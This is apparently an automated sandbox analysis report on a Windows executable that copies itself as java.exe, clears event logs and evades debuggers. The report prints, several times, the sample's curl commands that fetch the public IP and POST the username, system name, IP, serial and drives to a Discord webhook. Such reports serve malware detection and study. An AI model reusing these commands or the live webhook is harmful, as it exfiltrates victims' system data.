Edit tour

Windows Analysis Report
Jx6bD8nM4qW9sL3v.exe

Overview

General Information

Sample name:	Jx6bD8nM4qW9sL3v.exe
Analysis ID:	1582327
MD5:	e181eb699888d8bbbe0b89d41df77678
SHA1:	9a500deadf901dfb3f63df1ab2cbc679b27fc660
SHA256:	86c52e999cfd2243ea8e81e6ff8b1c6e15ee176807c7911d5a000341200eb757
Tags:	exeuser-juroots
Infos:

Detection

Score:	76
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Contain functionality to detect virtual machines

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Exploit detected, runtime environment starts unknown processes

Sigma detected: Suspicious Processes Spawned by Java.EXE

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

AV process strings found (often used to terminate AV products)

Checks if the current process is being debugged

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to clear windows event logs (to hide its activities)

Contains functionality to dynamically determine API calls

Creates COM task schedule object (often to register a task for autostart)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables security privileges

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

PE / OLE file has an invalid certificate

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Shell Process Spawned by Java.EXE

Sigma detected: Usage Of Web Request Commands And Cmdlets

Uses Microsoft's Enhanced Cryptographic Provider

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

Jx6bD8nM4qW9sL3v.exe (PID: 6052 cmdline: "C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe" MD5: E181EB699888D8BBBE0B89D41DF77678)

conhost.exe (PID: 3060 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 6604 cmdline: C:\Windows\system32\cmd.exe /c curl -s https://api.ipify.org MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

curl.exe (PID: 5776 cmdline: curl -s https://api.ipify.org MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)

curl.exe (PID: 4196 cmdline: curl -H "Content-Type: application/json" -X POST -d "{\"embeds\":[{\"color\":16711680,\"fields\":[{\"inline\":false,\"name\":\"local user\",\"value\":\"user\"},{\"inline\":false,\"name\":\"system name\",\"value\":\"571345\"},{\"inline\":false,\"name\":\"ip address\",\"value\":\"8.46.123.189\"},{\"inline\":false,\"name\":\"serial number\",\"value\":\"C6553AFB\"},{\"inline\":false,\"name\":\"product version\",\"value\":\"Windows 6.2 (Build 9200)\"},{\"inline\":false,\"name\":\"Drives\",\"value\":\"C: (Local) D: (CD-ROM)\"}],\"footer\":{\"text\":\"New client\"},\"timestamp\":\"2024-12-30T11:32:25.000Z\"}]}" https://discord.com/api/webhooks/1321328602792460330/Q9CQMUqhPmnLA8YCGFiWcN1qsmd8SzEzHV5RcFrIuYx8UWU2bSG3fdw4gr1C7AVhJQhm MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)

java.exe (PID: 6400 cmdline: C:\Users\user\AppData\Local\java.exe MD5: E181EB699888D8BBBE0B89D41DF77678)

conhost.exe (PID: 5000 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 1812 cmdline: C:\Windows\system32\cmd.exe /c curl -s https://api.ipify.org MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

curl.exe (PID: 4144 cmdline: curl -s https://api.ipify.org MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)

curl.exe (PID: 3128 cmdline: curl -H "Content-Type: application/json" -X POST -d "{\"embeds\":[{\"color\":16711680,\"fields\":[{\"inline\":false,\"name\":\"local user\",\"value\":\"user\"},{\"inline\":false,\"name\":\"system name\",\"value\":\"571345\"},{\"inline\":false,\"name\":\"ip address\",\"value\":\"8.46.123.189\"},{\"inline\":false,\"name\":\"serial number\",\"value\":\"C6553AFB\"},{\"inline\":false,\"name\":\"product version\",\"value\":\"Windows 6.2 (Build 9200)\"},{\"inline\":false,\"name\":\"Drives\",\"value\":\"C: (Local) D: (CD-ROM)\"}],\"footer\":{\"text\":\"New client\"},\"timestamp\":\"2024-12-30T11:32:27.000Z\"}]}" https://discord.com/api/webhooks/1321328602792460330/Q9CQMUqhPmnLA8YCGFiWcN1qsmd8SzEzHV5RcFrIuYx8UWU2bSG3fdw4gr1C7AVhJQhm MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)

cleanup

Sigma Signatures

System Summary

Sigma detected: Suspicious Processes Spawned by Java.EXE

Source: Process started

Author: Andreas Hunkeler (@Karneades), Florian Roth: Data: Command: curl -H "Content-Type: application/json" -X POST -d "{\"embeds\":[{\"color\":16711680,\"fields\":[{\"inline\":false,\"name\":\"local user\",\"value\":\"user\"},{\"inline\":false,\"name\":\"system name\",\"value\":\"571345\"},{\"inline\":false,\"name\":\"ip address\",\"value\":\"8.46.123.189\"},{\"inline\":false,\"name\":\"serial number\",\"value\":\"C6553AFB\"},{\"inline\":false,\"name\":\"product version\",\"value\":\"Windows 6.2 (Build 9200)\"},{\"inline\":false,\"name\":\"Drives\",\"value\":\"C: (Local) D: (CD-ROM)\"}],\"footer\":{\"text\":\"New client\"},\"timestamp\":\"2024-12-30T11:32:27.000Z\"}]}" https://discord.com/api/webhooks/1321328602792460330/Q9CQMUqhPmnLA8YCGFiWcN1qsmd8SzEzHV5RcFrIuYx8UWU2bSG3fdw4gr1C7AVhJQhm, CommandLine: curl -H "Content-Type: application/json" -X POST -d "{\"embeds\":[{\"color\":16711680,\"fields\":[{\"inline\":false,\"name\":\"local user\",\"value\":\"user\"},{\"inline\":false,\"name\":\"system name\",\"value\":\"571345\"},{\"inline\":false,\"name\":\"ip address\",\"value\":\"8.46.123.189\"},{\"inline\":false,\"name\":\"serial number\",\"value\":\"C6553AFB\"},{\"inline\":false,\"name\":\"product version\",\"value\":\"Windows 6.2 (Build 9200)\"},{\"inline\":false,\"name\":\"Drives\",\"value\":\"C: (Local) D: (CD-ROM)\"}],\"footer\":{\"text\":\"New client\"},\"timestamp\":\"2024-12-30T11:32:27.000Z\"}]}" https://discord.com/api/webhooks/1321328602792460330/Q9CQMUqhPmnLA8YCGFiWcN1qsmd8SzEzHV5RcFrIuYx8UWU2bSG3fdw4gr1C7AVhJQhm, CommandLine|base64offset|contains: r, Image: C:\Windows\System32\curl.exe, NewProcessName: C:\Windows\System32\curl.exe, OriginalFileName: C:\Windows\System32\curl.exe, ParentCommandLine: C:\Users\user\AppData\Local\java.exe, ParentImage: C:\Users\user\AppData\Local\java.exe, ParentProcessId: 6400, ParentProcessName: java.exe, ProcessCommandLine: curl -H "Content-Type: application/json" -X POST -d "{\"embeds\":[{\"color\":16711680,\"fields\":[{\"inline\":false,\"name\":\"local user\",\"value\":\"user\"},{\"inline\":false,\"name\":\"system name\",\"value\":\"571345\"},{\"inline\":false,\"name\":\"ip address\",\"value\":\"8.46.123.189\"},{\"inline\":false,\"name\":\"serial number\",\"value\":\"C6553AFB\"},{\"inline\":false,\"name\":\"product version\",\"value\":\"Windows 6.2 (Build 9200)\"},{\"inline\":false,\"name\":\"Drives\",\"value\":\"C: (Local) D: (CD-ROM)\"}],\"footer\":{\"text\":\"New client\"},\"timestamp\":\"2024-12-30T11:32:27.000Z\"}]}" https://discord.com/api/webhooks/1321328602792460330/Q9CQMUqhPmnLA8YCGFiWcN1qsmd8SzEzHV5RcFrIuYx8UWU2bSG3fdw4gr1C7AVhJQhm, ProcessId: 3128, ProcessName: curl.exe

Sigma detected: Shell Process Spawned by Java.EXE

Source: Process started

Author: Andreas Hunkeler (@Karneades), Nasreddine Bencherchali: Data: Command: C:\Windows\system32\cmd.exe /c curl -s https://api.ipify.org, CommandLine: C:\Windows\system32\cmd.exe /c curl -s https://api.ipify.org, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Users\user\AppData\Local\java.exe, ParentImage: C:\Users\user\AppData\Local\java.exe, ParentProcessId: 6400, ParentProcessName: java.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c curl -s https://api.ipify.org, ProcessId: 1812, ProcessName: cmd.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: C:\Windows\system32\cmd.exe /c curl -s https://api.ipify.org, CommandLine: C:\Windows\system32\cmd.exe /c curl -s https://api.ipify.org, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe", ParentImage: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe, ParentProcessId: 6052, ParentProcessName: Jx6bD8nM4qW9sL3v.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c curl -s https://api.ipify.org, ProcessId: 6604, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\java.exe

ReversingLabs: Detection: 47%

Multi AV Scanner detection for submitted file

Source: Jx6bD8nM4qW9sL3v.exe	ReversingLabs: Detection: 47%
Source: Jx6bD8nM4qW9sL3v.exe	Virustotal: Detection: 54%			Perma Link

Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Code function: 0_2_00007FF670FC6000 CryptStringToBinaryA,memset,CryptStringToBinaryA,_invalid_parameter_noinfo_noreturn,_CxxThrowException,_CxxThrowException,		0_2_00007FF670FC6000
Source: C:\Users\user\AppData\Local\java.exe	Code function: 6_2_00007FF65E1F6000 CryptStringToBinaryA,memset,CryptStringToBinaryA,_invalid_parameter_noinfo_noreturn,_CxxThrowException,_CxxThrowException,		6_2_00007FF65E1F6000

Source: unknown	HTTPS traffic detected: 104.26.12.205:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.128.233:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.12.205:443 -> 192.168.2.5:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.128.233:443 -> 192.168.2.5:49717 version: TLS 1.2

Source: Jx6bD8nM4qW9sL3v.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32	Jump to behavior
Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer	Jump to behavior
Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation	Jump to behavior
Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Users\user\AppData\Local\java.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\AppData\Local\java.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Users\user\AppData\Local\java.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\user\AppData\Local\java.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Users\user\AppData\Local\java.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Users\user\AppData\Local\java.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\AppData\Local\java.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Users\user\AppData\Local\java.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\user\AppData\Local\java.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Users\user\AppData\Local\java.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Users\user\AppData\Local\java.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32	Jump to behavior
Source: C:\Users\user\AppData\Local\java.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer	Jump to behavior
Source: C:\Users\user\AppData\Local\java.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\AppData\Local\java.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation	Jump to behavior
Source: C:\Users\user\AppData\Local\java.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\AppData\Local\java.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior

Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe

Code function: 0_2_00007FF670FC1780 GetLogicalDriveStringsA,memset,??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ,??0?$basic_iostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@@Z,??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ,GetDriveTypeA,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ,??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ,

0_2_00007FF670FC1780

Software Vulnerabilities

Exploit detected, runtime environment starts unknown processes

Source: C:\Users\user\AppData\Local\java.exe

Process created: C:\Windows\System32\conhost.exe

Source: Joe Sandbox View	IP Address: 104.26.12.205 104.26.12.205
Source: Joe Sandbox View	IP Address: 104.26.12.205 104.26.12.205
Source: Joe Sandbox View	IP Address: 162.159.128.233 162.159.128.233

Source: Joe Sandbox View

JA3 fingerprint: 74954a0c86284d0d6e1c4efefe92b521

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.orgUser-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.orgUser-Agent: curl/7.83.1Accept: /

Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: discord.com

Source: unknown

HTTP traffic detected: POST /api/webhooks/1321328602792460330/Q9CQMUqhPmnLA8YCGFiWcN1qsmd8SzEzHV5RcFrIuYx8UWU2bSG3fdw4gr1C7AVhJQhm HTTP/1.1Host: discord.comUser-Agent: curl/7.83.1Accept: */*Content-Type: application/jsonContent-Length: 483

Source: Jx6bD8nM4qW9sL3v.exe, 00000000.00000003.2018730241.000002597BC1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.se1
Source: Jx6bD8nM4qW9sL3v.exe, 00000000.00000003.2018730241.000002597BC1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTime
Source: Jx6bD8nM4qW9sL3v.exe, java.exe.0.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z
Source: Jx6bD8nM4qW9sL3v.exe, java.exe.0.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0
Source: Jx6bD8nM4qW9sL3v.exe, java.exe.0.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#
Source: Jx6bD8nM4qW9sL3v.exe, 00000000.00000002.2034490132.000002597BC07000.00000004.00000020.00020000.00000000.sdmp, Jx6bD8nM4qW9sL3v.exe, 00000000.00000003.2018730241.000002597BC1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingRootI
Source: Jx6bD8nM4qW9sL3v.exe, java.exe.0.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#
Source: Jx6bD8nM4qW9sL3v.exe, java.exe.0.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: curl.exe, 00000009.00000002.2051339309.000002C6CC54A000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000009.00000002.2051301631.000002C6CC510000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000009.00000003.2051239188.000002C6CC527000.00000004.00000020.00020000.00000000.sdmp, Jx6bD8nM4qW9sL3v.exe, java.exe.0.dr	String found in binary or memory: https://api.ipify.org
Source: curl.exe, 00000003.00000002.2025529355.0000018EE9637000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000009.00000003.2051214870.000002C6CC524000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000009.00000002.2051327029.000002C6CC528000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000009.00000003.2051239188.000002C6CC527000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
Source: curl.exe, 00000003.00000002.2025529355.0000018EE9637000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/Item
Source: java.exe, 00000006.00000002.2060240613.0000022751ECB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org2
Source: curl.exe, 00000003.00000002.2025529355.0000018EE9648000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000003.00000003.2025355988.0000018EE9645000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org7
Source: Jx6bD8nM4qW9sL3v.exe, 00000000.00000002.2034490132.000002597BC07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org9
Source: curl.exe, 00000003.00000002.2025529355.0000018EE9648000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000003.00000003.2025355988.0000018EE9645000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org?
Source: curl.exe, 00000009.00000002.2051301631.000002C6CC510000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.orgL
Source: curl.exe, 00000003.00000002.2025529355.0000018EE9630000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.orgWinsta0
Source: Jx6bD8nM4qW9sL3v.exe, java.exe.0.dr	String found in binary or memory: https://api.ipify.orgcurl
Source: curl.exe, 00000009.00000003.2051214870.000002C6CC524000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000009.00000002.2051327029.000002C6CC528000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000009.00000003.2051239188.000002C6CC527000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.orgvB
Source: curl.exe, 00000009.00000002.2051301631.000002C6CC510000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.orgwinsta0
Source: java.exe, 00000006.00000002.2060240613.0000022751EEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org~
Source: curl.exe, 00000005.00000002.2033796989.0000015BFD279000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000A.00000003.2059642518.00000269500F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/webhooK
Source: curl.exe, 0000000A.00000002.2059832303.00000269500E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/webhooks/1321328602792460330/Q9CQMUqhPmnLA8YCGFiWcN1qsmd8SzEzHV5RcFrIuYx8UWU
Source: Jx6bD8nM4qW9sL3v.exe, java.exe.0.dr	String found in binary or memory: https://sectigo.com/CPS0

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714

Source: unknown	HTTPS traffic detected: 104.26.12.205:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.128.233:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.12.205:443 -> 192.168.2.5:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.128.233:443 -> 192.168.2.5:49717 version: TLS 1.2

Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Code function: 0_2_00007FF670FC42B0 RtlAdjustPrivilege,NtRaiseHardError,GetConsoleWindow,ShowWindow,SetConsoleCtrlHandler,GetConsoleWindow,GetSystemMenu,RemoveMenu,GetModuleFileNameW,GetFileAttributesW,SetFileAttributesW,GdiplusStartup,CoUninitialize,OpenEventLogW,ClearEventLogW,CloseEventLog,_invalid_parameter_noinfo_noreturn,?cerr@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A,??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z,	0_2_00007FF670FC42B0
Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Code function: 0_2_00007FF670FC3FEA LoadLibraryA,GetProcAddress,FreeLibrary,GetCurrentProcess,NtQueryInformationProcess,FreeLibrary,	0_2_00007FF670FC3FEA
Source: C:\Users\user\AppData\Local\java.exe	Code function: 6_2_00007FF65E1F3FEA LoadLibraryA,GetProcAddress,FreeLibrary,GetCurrentProcess,NtQueryInformationProcess,FreeLibrary,	6_2_00007FF65E1F3FEA
Source: C:\Users\user\AppData\Local\java.exe	Code function: 6_2_00007FF65E1F42B0 RtlAdjustPrivilege,NtRaiseHardError,GetConsoleWindow,ShowWindow,SetConsoleCtrlHandler,GetConsoleWindow,GetSystemMenu,RemoveMenu,GetModuleFileNameW,GetFileAttributesW,SetFileAttributesW,GdiplusStartup,CoUninitialize,OpenEventLogW,ClearEventLogW,CloseEventLog,_invalid_parameter_noinfo_noreturn,?cerr@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A,??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z,	6_2_00007FF65E1F42B0

Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Code function: 0_2_00007FF670FC42B0	0_2_00007FF670FC42B0
Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Code function: 0_2_00007FF670FC4990	0_2_00007FF670FC4990
Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Code function: 0_2_00007FF670FC7E10	0_2_00007FF670FC7E10
Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Code function: 0_2_00007FF670FC70A0	0_2_00007FF670FC70A0
Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Code function: 0_2_00007FF670FC6440	0_2_00007FF670FC6440
Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Code function: 0_2_00007FF670FC9469	0_2_00007FF670FC9469
Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Code function: 0_2_00007FF670FC5BF0	0_2_00007FF670FC5BF0
Source: C:\Users\user\AppData\Local\java.exe	Code function: 6_2_00007FF65E1F70A0	6_2_00007FF65E1F70A0
Source: C:\Users\user\AppData\Local\java.exe	Code function: 6_2_00007FF65E1F4990	6_2_00007FF65E1F4990
Source: C:\Users\user\AppData\Local\java.exe	Code function: 6_2_00007FF65E1F7E10	6_2_00007FF65E1F7E10
Source: C:\Users\user\AppData\Local\java.exe	Code function: 6_2_00007FF65E1F42B0	6_2_00007FF65E1F42B0
Source: C:\Users\user\AppData\Local\java.exe	Code function: 6_2_00007FF65E1F5BF0	6_2_00007FF65E1F5BF0
Source: C:\Users\user\AppData\Local\java.exe	Code function: 6_2_00007FF65E1F9469	6_2_00007FF65E1F9469
Source: C:\Users\user\AppData\Local\java.exe	Code function: 6_2_00007FF65E1F6440	6_2_00007FF65E1F6440

Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe
